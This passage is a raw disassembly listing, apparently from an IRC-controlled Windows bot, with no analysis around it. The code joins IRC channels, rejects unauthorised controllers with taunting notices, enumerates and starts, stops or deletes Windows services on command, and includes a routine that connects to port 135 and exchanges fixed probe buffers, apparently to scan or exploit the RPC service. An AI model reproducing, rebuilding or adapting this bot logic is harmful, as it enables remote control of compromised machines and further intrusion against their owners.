loc_40EF6A ; --------------------------------------------------------------------------- loc_412863: ; CODE XREF: seg000:0040DDA5j ; seg000:0040DDBAj mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_4128C3 push esi call sub_415A3F cmp eax, ebx pop ecx jl short loc_4128B8 cmp eax, 2 jge short loc_4128B8 mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4128AD lea eax, [esi+1] push eax lea eax, [ebp-2C8h] push offset dword_4364F8 push eax call sub_4154CD add esp, 0Ch mov [esi], bl jmp loc_40ECA7 ; --------------------------------------------------------------------------- loc_4128AD: ; CODE XREF: seg000:0041288Cj push eax push offset dword_43336C jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_4128B8: ; CODE XREF: seg000:00412877j ; seg000:0041287Cj push eax push offset dword_43332C jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_4128C3: ; CODE XREF: seg000:0041286Cj mov edi, [ebp+20h] xor esi, esi loc_4128C8: ; CODE XREF: seg000:004128E4j push dword ptr [ebp-94h] push edi call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_4128EB inc esi add edi, 80h cmp esi, 2 jl short loc_4128C8 jmp loc_40ECA7 ; --------------------------------------------------------------------------- loc_4128EB: ; CODE XREF: seg000:004128D8j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax push offset dword_4364F8 jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_412905: ; CODE XREF: seg000:0040DD7Bj ; seg000:0040DD90j push dword ptr [ebp-90h] push offset dword_436450 call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_412974 call sub_415142 push ebx call ds:dword_421114 ; ExitProcess loc_412927: ; CODE XREF: seg000:0040DD51j ; seg000:0040DD66j push dword ptr [ebp+esi-90h] xor eax, eax cmp [ebp-9A4h], bl setnz al push eax lea eax, [ebp-564h] push ds:dword_42C16C push eax call sub_414419 lea eax, [ebp-564h] push eax push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC lea eax, [ebp-564h] push eax push offset dword_4332F4 call sub_40B1C5 loc_412971: ; CODE XREF: seg000:0040F913j add esp, 24h loc_412974: ; CODE XREF: seg000:0040D495j ; seg000:0040D4A1j ... mov eax, [ebp+2Ch] jmp loc_40D200 ; --------------------------------------------------------------------------- loc_41297C: ; CODE XREF: seg000:0040D951j ; seg000:0040D966j mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], esi jz loc_40D1FD cmp [ebp-98h], ebx jnz loc_40D1FD push offset dword_42F3A4 push dword ptr [ebp-94h] call sub_416C78 mov esi, eax push offset dword_438FB4 push ebx inc esi call sub_416C78 push offset asc_4332F0 ; "~" push eax call sub_416C78 push dword ptr [ebp+8] mov edi, eax push offset aHi ; "hi" call sub_4158F0 add esp, 20h test eax, eax jz short loc_412A24 lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_412CEC lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push edi push esi push offset dword_433264 loc_412A10: ; CODE XREF: seg000:00412A80j lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 30h jmp loc_40D7DD ; --------------------------------------------------------------------------- loc_412A24: ; CODE XREF: seg000:004129D7j mov dword ptr [ebp+2Ch], offset off_42C220 loc_412A2B: ; CODE XREF: seg000:00412A47j mov eax, [ebp+2Ch] push edi push dword ptr [eax] call sub_4152D2 pop ecx test eax, eax pop ecx jnz short loc_412A82 add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], offset off_42C224 jl short loc_412A2B lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_412CEC lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push edi push esi push offset dword_433224 jmp short loc_412A10 ; --------------------------------------------------------------------------- loc_412A82: ; CODE XREF: seg000:00412A3Aj mov edi, [ebp+20h] xor esi, esi loc_412A87: ; CODE XREF: seg000:00412AB1j cmp [ebp+8], ebx jz loc_40D1FD cmp [edi], bl jnz short loc_412AA7 push dword ptr [ebp+8] push offset aHi ; "hi" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_412AB8 loc_412AA7: ; CODE XREF: seg000:00412A92j inc esi add edi, 80h cmp esi, 2 jl short loc_412A87 jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_412AB8: ; CODE XREF: seg000:00412AA5j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0A94h] push 7Fh push eax push esi call sub_416D20 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_412AEF push ebx push dword ptr [ebp-4] push offset dword_4331F0 push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_412AEF: ; CODE XREF: seg000:00412AD3j lea eax, [ebp-0C4h] push eax push offset dword_4331BC jmp loc_40D3E6 ; --------------------------------------------------------------------------- loc_412B00: ; CODE XREF: seg000:0040D047j ; seg000:0040D05Cj push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push offset aXI ; "+x+i" push dword ptr [ebp+18h] push offset aModeSS ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC add esp, 2Ch mov ds:dword_468978, edi jmp loc_40D0D6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B46 proc near ; CODE XREF: sub_412B7E+125p ; sub_412B7E+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_412B74 loc_412B57: ; CODE XREF: sub_412B46+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_417910 add esp, 0Ch test eax, eax jz short loc_412B7A inc esi cmp esi, edi jl short loc_412B57 loc_412B74: ; CODE XREF: sub_412B46+Fj xor al, al loc_412B76: ; CODE XREF: sub_412B46+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_412B7A: ; CODE XREF: sub_412B46+27j mov al, 1 jmp short loc_412B76 sub_412B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B7E proc near ; CODE XREF: sub_4033CB+8Bp ; sub_4033CB+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_415D50 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_412BBF dec eax jz short loc_412B9D dec eax loc_412B97: ; CODE XREF: sub_412B7E+57j xor eax, eax loc_412B99: ; CODE XREF: sub_412B7E+3Fj ; sub_412B7E+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_412B9D: ; CODE XREF: sub_412B7E+16j push 3 push 1388h push [ebp+arg_0] call ds:dword_43A3B8 ; inet_addr push eax call sub_4076D2 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_412B99 ; --------------------------------------------------------------------------- loc_412BBF: ; CODE XREF: sub_412B7E+13j push 6 push 1 push 2 call ds:dword_43A3F8 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_412B97 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_415550 add esp, 0Ch mov [ebp+var_10], 2 push 87h call ds:dword_43A378 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A03F pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_43A320 ; connect cmp eax, edi jz loc_412CDB push ebx push 48h push offset dword_436570 push esi call ds:dword_43A3C8 ; send cmp eax, edi jz loc_412CDB mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_43A390 ; recv cmp eax, edi jz loc_412CDB cmp [ebp+var_200E], 0Ch jnz short loc_412CDB push ebx push 18h push offset dword_4365BC push [ebp+arg_4] call ds:dword_43A3C8 ; send cmp eax, edi jz short loc_412CDB push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_43A390 ; recv mov esi, eax cmp esi, edi jz short loc_412CDB cmp [ebp+var_200E], 2 jnz short loc_412CDB push 10h push offset loc_4365D8 lea eax, [ebp+var_2010] push esi push eax call sub_412B46 add esp, 10h test al, al jz short loc_412CBB cmp esi, 12Ch setnl bl inc ebx jmp short loc_412CDB ; --------------------------------------------------------------------------- loc_412CBB: ; CODE XREF: sub_412B7E+12Fj push 10h push offset dword_4365EC lea eax, [ebp+var_2010] push esi push eax call sub_412B46 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_412CDB: ; CODE XREF: sub_412B7E+9Bj ; sub_412B7E+B2j ... push [ebp+arg_4] call ds:dword_43A410 ; closesocket mov eax, ebx pop ebx jmp loc_412B99 sub_412B7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412CEC proc near ; CODE XREF: sub_40CCC1+3Dp ; seg000:0040D004p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41746F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send leave retn sub_412CEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D32 proc near ; CODE XREF: start+88p ; seg000:004014BDp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_412D4D mov edi, offset aPrivmsg ; "PRIVMSG" loc_412D4D: ; CODE XREF: sub_412D32+14j push edi call sub_415CD0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_415CD0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_415A4A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_436600 push eax call sub_4154CD add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_412DCB push 7D0h call ds:dword_421060 ; Sleep locret_412DCB: ; CODE XREF: sub_412D32+8Cj leave retn sub_412D32 endp ; =============== S U B R O U T I N E ======================================= sub_412DCD proc near ; CODE XREF: seg000:loc_40ED45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_412E32 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_436618[esi] push edi push eax call sub_412E54 add esp, 14h test eax, eax jnz short loc_412E15 push edi push ds:off_436614[esi] mov esi, offset dword_469040 push offset dword_43674C push esi call sub_4154CD add esp, 10h jmp short loc_412E4F ; --------------------------------------------------------------------------- loc_412E15: ; CODE XREF: sub_412DCD+2Aj push eax call sub_412EF6 push eax push edi mov esi, offset dword_469040 push offset dword_436710 push esi call sub_4154CD add esp, 14h jmp short loc_412E4F ; --------------------------------------------------------------------------- loc_412E32: ; CODE XREF: sub_412DCD+Cj lea eax, [eax+eax*2] mov esi, offset dword_469040 push ds:off_436610[eax*4] push offset dword_4366D8 push esi call sub_4154CD add esp, 0Ch loc_412E4F: ; CODE XREF: sub_412DCD+46j ; sub_412DCD+63j mov eax, esi pop edi pop esi retn sub_412DCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E54 proc near ; CODE XREF: sub_412DCD+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_43A36C ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_412E7B call ds:dword_421088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_412EF0 ; --------------------------------------------------------------------------- loc_412E7B: ; CODE XREF: sub_412E54+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_43A260 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_412E9B call ds:dword_421088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_412EE8 ; --------------------------------------------------------------------------- loc_412E9B: ; CODE XREF: sub_412E54+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_412ECE cmp eax, 3 jz short loc_412EBF jle short loc_412EE1 cmp eax, 6 jg short loc_412EE1 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_43A2C8 ; ControlService jmp short loc_412ED5 ; --------------------------------------------------------------------------- loc_412EBF: ; CODE XREF: sub_412E54+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_43A268 ; StartServiceA jmp short loc_412ED5 ; --------------------------------------------------------------------------- loc_412ECE: ; CODE XREF: sub_412E54+4Dj push esi call ds:dword_43A2CC ; DeleteService loc_412ED5: ; CODE XREF: sub_412E54+69j ; sub_412E54+78j test eax, eax jnz short loc_412EE1 call ds:dword_421088 ; RtlGetLastWin32Error mov ebx, eax loc_412EE1: ; CODE XREF: sub_412E54+54j ; sub_412E54+59j ... push esi call ds:dword_43A27C ; CloseServiceHandle loc_412EE8: ; CODE XREF: sub_412E54+45j push edi call ds:dword_43A27C ; CloseServiceHandle pop esi loc_412EF0: ; CODE XREF: sub_412E54+25j mov eax, ebx pop edi pop ebx leave retn sub_412E54 endp ; =============== S U B R O U T I N E ======================================= sub_412EF6 proc near ; CODE XREF: sub_412DCD+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_412FAB jz loc_412FA4 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_412F6E jz short loc_412F64 mov ecx, eax sub ecx, 3 jz short loc_412F5A dec ecx dec ecx jz short loc_412F50 dec ecx jz short loc_412F46 sub ecx, 51h jz short loc_412F3C sub ecx, 24h jnz loc_413021 ; default ; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F3C: ; CODE XREF: sub_412EF6+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F46: ; CODE XREF: sub_412EF6+2Cj push offset aTheHandleIsInv ; "The handle is invalid." loc_412F4B: ; DATA XREF: seg002:off_42B7FCo jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F50: ; CODE XREF: sub_412EF6+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F5A: ; CODE XREF: sub_412EF6+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F64: ; CODE XREF: sub_412EF6+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F6E: ; CODE XREF: sub_412EF6+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_412F9D dec ecx jz short loc_412F96 dec ecx jz short loc_412F8F dec ecx jnz loc_413021 ; default ; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_413013 ; --------------------------------------------------------------------------- loc_412F8F: ; CODE XREF: sub_412EF6+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412F96: ; CODE XREF: sub_412EF6+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412F9D: ; CODE XREF: sub_412EF6+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FA4: ; CODE XREF: sub_412EF6+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FAB: ; CODE XREF: sub_412EF6+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_413021 ; default ; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16 jz short loc_41300E lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_413021 ; default ; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_413062[ecx] jmp ds:off_41303A[ecx*4] ; switch jump loc_412FCF: ; DATA XREF: seg000:off_41303Ao push offset aTheSpecifiedDa ; jumptable 00412FC8 case 7 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheServiceDepe ; jumptable 00412FC8 case 17 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FDD: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheServiceDe_0 ; jumptable 00412FC8 case 10 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FE4: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheServiceHasB ; jumptable 00412FC8 case 0 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FEB: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheSpecified_0 ; jumptable 00412FC8 case 2 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FF2: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheServiceCoul ; jumptable 00412FC8 case 11 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_412FF9: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheServiceHa_0 ; jumptable 00412FC8 case 14 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_413000: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheRequested_1 ; jumptable 00412FC8 case 3 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_413007: ; CODE XREF: sub_412EF6+D2j ; DATA XREF: seg000:off_41303Ao push offset aTheServiceHasN ; jumptable 00412FC8 case 4 jmp short loc_413013 ; --------------------------------------------------------------------------- loc_41300E: ; CODE XREF: sub_412EF6+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_413013: ; CODE XREF: sub_412EF6+41j ; sub_412EF6+4Bj ... push offset dword_468980 call sub_4154CD pop ecx pop ecx jmp short loc_413034 ; --------------------------------------------------------------------------- loc_413021: ; CODE XREF: sub_412EF6+36j ; sub_412EF6+89j ... push eax ; default ; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_468980 call sub_4154CD add esp, 0Ch loc_413034: ; CODE XREF: sub_412EF6+129j mov eax, offset dword_468980 retn sub_412EF6 endp ; --------------------------------------------------------------------------- off_41303A dd offset loc_412FE4 ; DATA XREF: sub_412EF6+D2r dd offset loc_412FEB ; jump table for switch statement dd offset loc_413000 dd offset loc_413007 dd offset loc_412FCF dd offset loc_412FDD dd offset loc_412FF2 dd offset loc_412FF9 dd offset loc_412FD6 dd offset loc_413021 byte_413062 db 0, 9, 1, 2 ; DATA XREF: sub_412EF6+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413074 proc near ; CODE XREF: seg000:0040ED70p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_43A36C ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_4130AC: ; CODE XREF: sub_413074+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_43A338 ; EnumServicesStatusA test eax, eax jnz short loc_4130E6 call ds:dword_421088 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_41319A loc_4130E6: ; CODE XREF: sub_413074+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_413191 lea esi, [ebp+var_188] loc_4130F7: ; CODE XREF: sub_413074+117j mov eax, [esi+8] dec eax jz short loc_413140 dec eax jz short loc_413139 dec eax jz short loc_413132 dec eax jz short loc_41312B dec eax jz short loc_413124 dec eax jz short loc_41311D dec eax jz short loc_413116 push offset aUnknown_1 ; " Unknown" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_413116: ; CODE XREF: sub_413074+99j push offset aPaused_0 ; " Paused" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_41311D: ; CODE XREF: sub_413074+96j push offset aPausing ; " Pausing" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_413124: ; CODE XREF: sub_413074+93j push offset aContinuing ; " Continuing" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_41312B: ; CODE XREF: sub_413074+90j push offset aRunning_0 ; " Running" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_413132: ; CODE XREF: sub_413074+8Dj push offset aStoping ; " Stoping" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_413139: ; CODE XREF: sub_413074+8Aj push offset aStarting ; " Starting" jmp short loc_413145 ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413074+87j push offset aStopped ; " Stopped" loc_413145: ; CODE XREF: sub_413074+A0j ; sub_413074+A7j ... lea eax, [ebp+var_20] push eax call sub_4154CD pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4154CD push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4130F7 loc_413191: ; CODE XREF: sub_413074+77j cmp [ebp+var_8], ebx jnz loc_4130AC loc_41319A: ; CODE XREF: sub_413074+6Cj push [ebp+var_C] call ds:dword_43A27C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_413074 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131B1 proc near ; CODE XREF: seg000:loc_40EE27p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41324A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_4131DA dec eax jnz short loc_41322A push edi push 0 call sub_413383 pop ecx pop ecx jmp short loc_413226 ; --------------------------------------------------------------------------- loc_4131DA: ; CODE XREF: sub_4131B1+18j cmp [ebp+arg_8], 0 jnz short loc_413218 push 24h push edi call sub_417060 pop ecx test eax, eax pop ecx jnz short loc_413218 push 57h pop eax loc_4131F1: ; CODE XREF: sub_4131B1+77j push eax call sub_413B5B push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_468C3C push ds:off_436610[eax*4] push offset dword_436D1C push esi call sub_4154CD add esp, 18h jmp short loc_41326A ; --------------------------------------------------------------------------- loc_413218: ; CODE XREF: sub_4131B1+2Dj ; sub_4131B1+3Bj push [ebp+arg_8] push edi push 0 call sub_4132D7 add esp, 0Ch loc_413226: ; CODE XREF: sub_4131B1+27j test eax, eax jnz short loc_4131F1 loc_41322A: ; CODE XREF: sub_4131B1+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_468C3C push ds:off_436614[eax*4] push offset dword_436CEC push esi call sub_4154CD add esp, 10h jmp short loc_41326A ; --------------------------------------------------------------------------- loc_41324A: ; CODE XREF: sub_4131B1+Aj mov eax, [ebp+arg_0] mov esi, offset dword_468C3C lea eax, [eax+eax*2] push ds:off_436610[eax*4] push offset dword_436CB4 push esi call sub_4154CD add esp, 0Ch loc_41326A: ; CODE XREF: sub_4131B1+65j ; sub_4131B1+97j mov eax, esi pop edi pop esi pop ebp retn sub_4131B1 endp ; =============== S U B R O U T I N E ======================================= sub_413270 proc near ; CODE XREF: seg000:004148E5p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41327D xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41327D: ; CODE XREF: sub_413270+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_421138 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test ds:byte_468E3C, 1 mov ebp, eax jnz short loc_4132BA or ds:byte_468E3C, 1 lea eax, [ebp+1] push eax call sub_4167A5 pop ecx mov ds:dword_468BDC, eax loc_4132BA: ; CODE XREF: sub_413270+32j push esi push esi push ebp push ds:dword_468BDC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_468BDC pop edi pop ebp pop ebx pop esi retn sub_413270 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132D7 proc near ; CODE XREF: sub_4131B1+6Dp ; sub_4149C4+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_413342 push [ebp+arg_4] mov edi, eax call sub_413342 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_417060 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_413342 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_43A278 pop edi leave retn sub_4132D7 endp ; =============== S U B R O U T I N E ======================================= sub_413342 proc near ; CODE XREF: sub_4132D7+Ap ; sub_4132D7+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_41334F pop ebp retn ; --------------------------------------------------------------------------- loc_41334F: ; CODE XREF: sub_413342+9j push ebx push esi mov esi, ds:dword_421064 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_4167A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_413342 endp ; =============== S U B R O U T I N E ======================================= sub_413383 proc near ; CODE XREF: sub_4131B1+20p ; seg000:0041485Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_413342 push [esp+8+arg_4] mov esi, eax call sub_413342 pop ecx pop ecx push 0 push eax push esi call ds:dword_43A250 pop esi retn sub_413383 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133A6 proc near ; CODE XREF: seg000:0040EE53p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_413342 xor esi, esi mov [ebp+var_C], eax 